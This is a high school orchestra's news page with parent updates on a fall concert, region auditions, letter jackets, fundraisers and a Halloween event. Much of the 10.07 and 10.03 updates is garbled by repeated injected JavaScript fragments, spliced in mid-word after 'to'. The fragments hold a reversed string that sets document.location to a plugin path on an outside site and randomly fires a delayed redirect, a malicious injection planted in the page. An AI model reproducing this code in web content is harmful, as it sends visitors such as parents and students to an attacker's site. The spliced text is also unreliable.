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AHS ORCHESTRA UPDATE – 10.22.2022

1. BOOSTER CLUB MEETING – TUES, OCT 25

2. TRUNK OR TREAT & MASQUERADE – SAT, OCT 29

3. SPRING TRIP CONTRACT & DEPOSIT DUE – NOV 3

4. FALL CONCERT VIDEO

5. NEED WATER & CHIP DONATIONS

1. BOOSTER CLUB MEETING – TUES, OCT 25

Students will receive cookies from Tiff’s Treats at school on Wednesday if a parent attends the meeting! See you there! 

2. TRUNK OR TREAT & MASQUERADE – SAT, OCT 29

Dress up in costume and come enjoy the fun!

TRUNK OR TREAT – SAT, OCT 29, 6:00 – 8:00 PM

AHS Parking Lot behind Chicken Express

  • For AHS Orchestra members and siblings
  • Officers provide games/activities and treats
  • Cakewalk
  • Costume Contest
  • Cash Concession Stand 

MASQUERADE – SAT, OCT 29, 8:00 PM – 10:00 PM

AHS Orchestra Room 

  • AHS Orchestra students ONLY, no friends or siblings 
  • School-wide Scavenger Hunt – sign up here: 
  • Costume Contest
  • Students Bring
    • 9th: Drinks (in Cans) or Juice Boxes
    • 10th: Fruit or Veggies
    • 11th: Salty/Spicy Snacks and Di
    • 12th: Sweets (Brownies, Cupcakes, Cookies)

3. SPRING TRIP CONTRACT & DEPOSIT DUE – NOV 3

Forms are located on our website at http://ahsorchestra.com/forms-docs/.

4. FALL CONCERT VIDEO

5. NEED WATER & CHIP DONATIONS

AHS ORCHESTRA UPDATE – 10.07.2022

Please visit our website: www.ahsorchestra.com and see the many resources, links, and information it provides you about the AHS Orchestra program!!

1. FALL CONCERT: WED, OCT 12 

2. UNIFORM CHECK/HEM

3. REGION AUDITIONS – OCT 15

4. LETTER JACKET FITTING – OCT 19

5. FUNDRAISER ALLIANCE AIR SHOW – SAT, OCT 22

6. NEED WATER & CHIP DONATIONS

1. FALL CONCERT – WED, OCT 12

Our first concert is Wednesday, Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 12 at 7:00 pm at the beautiful AISD Center for Visual and Performing Arts (CVPA). All AHS concerts for the next two years will be held at the CVPA while AHS is being renovated. Students will report directly toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the CVPA for the concert. 

Call times are below. Call time means: dressed, tuned, and warming up at the specified time.

2. UNIFORM CHECK/HEM

Everyone has been fitted for a uniform and should have taken them home. Please hem/dart/pin clothes as needed but please DO NOT remove/cut away any material. Here is a link for how-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hem. If you don’t know how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sew (I don’t either) just use safety pins instead of straight pins. https://www.youtube.com/watch?v=P02Mne95-s8

3.  REGION AUDITIONS – OCT 15

Region Auditions are Saturday, Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 15 at Seguin High School. Audition times will be announced shortly. 

4. LETTER JACKET FITTING – OCT 19

Letter Jacket fittings are on Wed, Oct 19 at 3:00 pm in the orchestra room 

To letter in Orchestra and have the opportunity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to purchase a letter jacket you must fulfill one of the following requirements:

● Be a member of the Symphony Orchestra (Varsity)

● Be an Orchestra officer for two years

● Audition and make one of the Region Orchestras

Regardless of the method above, If you earn a position in the Region Full Orchestra, the booster club will purchase your

letter jacket.

5. FUNDRAISER ALLIANCE AIR SHOW – SAT, OCT 22

Alliance Air Show is one of our big fundraisers of the year. We run concessions for two booths at the Air Show at Alliance Airport in north Fort Worth. Please sign up here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to volunteer for a shift. WE ARE IN NEED OF ADULTS, MOSTLY with some spots for students. Thank you for your help. 

Students on lesson scholarships or who wish toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be considered frio trip/seniors scholarships must have a parent, guardian, family member or friend volunteer at all fundraisers. These fundraisers are where we earn money for all our scholarships. 

6. NEED WATER & CHIP DONATIONSWe go through a lot of water and chips for our various events. If you can donate a case/box, we would really appreciate it.  Sign up here and have your student bring it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the orchestra room when they come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to school. Thank you!

AHS ORCHESTRA UPDATE – 10.03.2022

Please visit our website: www.ahsorchestra.com and see the many resources, links, and information it provides you about the AHS Orchestra program!!

1. FALL CONCERT: WED, OCT 12 

2. UNIFORM CHECK/HEM

3. REGION AUDITIONS – OCT 15

4. LETTER JACKET FITTING – OCT 19

5. FUNDRAISER ALLIANCE AIR SHOW – SAT, OCT 22

6. NEED WATER & CHIP DONATIONS

1. FALL CONCERT – WED, OCT 12

Our first concert is Wednesday, Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 12 at 7:00 pm at the beautiful AISD Center for Visual and Performing Arts (CVPA). All AHS concerts for the next two years will be held at the CVPA while AHS is being renovated. Students will report directly toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the CVPA for the concert. 

Call times are below. Call time means: dressed, tuned, and warming up at the specified time.

2. UNIFORM CHECK/HEM

Everyone has been fitted for a uniform and should have taken them home. Please hem/dart/pin clothes as needed but please DO NOT remove/cut away any material. Here is a link for how-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hem. If you don’t know how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sew (I don’t either) just use safety pins instead of straight pins. https://www.youtube.com/watch?v=P02Mne95-s8

3.  REGION AUDITIONS – OCT 15

Region Auditions are Saturday, Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 15 at Seguin High School. Audition times will be announced shortly. 

4. LETTER JACKET FITTING – OCT 19

Letter Jacket fittings are on Wed, Oct 19 at 3:00 pm in the orchestra room 

To letter in Orchestra and have the opportunity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to purchase a letter jacket you must fulfill one of the following requirements:

● Be a member of the Symphony Orchestra (Varsity)

● Be an Orchestra officer for two years

● Audition and make one of the Region Orchestras

Regardless of the method above, If you earn a position in the Region Full Orchestra, the booster club will purchase your

letter jacket.

5. FUNDRAISER ALLIANCE AIR SHOW – SAT, OCT 22

Alliance Air Show is one of our big fundraisers of the year. We run concessions for two booths at the Air Show at Alliance Airport in north Fort Worth. Please sign up here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to volunteer for a shift. WE ARE IN NEED OF ADULTS, MOSTLY with some spots for students. Thank you for your help. 

Students on lesson scholarships or who wish toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be considered frio trip/seniors scholarships must have a parent, guardian, family member or friend volunteer at all fundraisers. These fundraisers are where we earn money for all our scholarships. 

6. NEED WATER & CHIP DONATIONSWe go through a lot of water and chips for our various events. If you can donate a case/box, we would really appreciate it.  Sign up here and have your student bring it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the orchestra room when they come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to school. Thank you!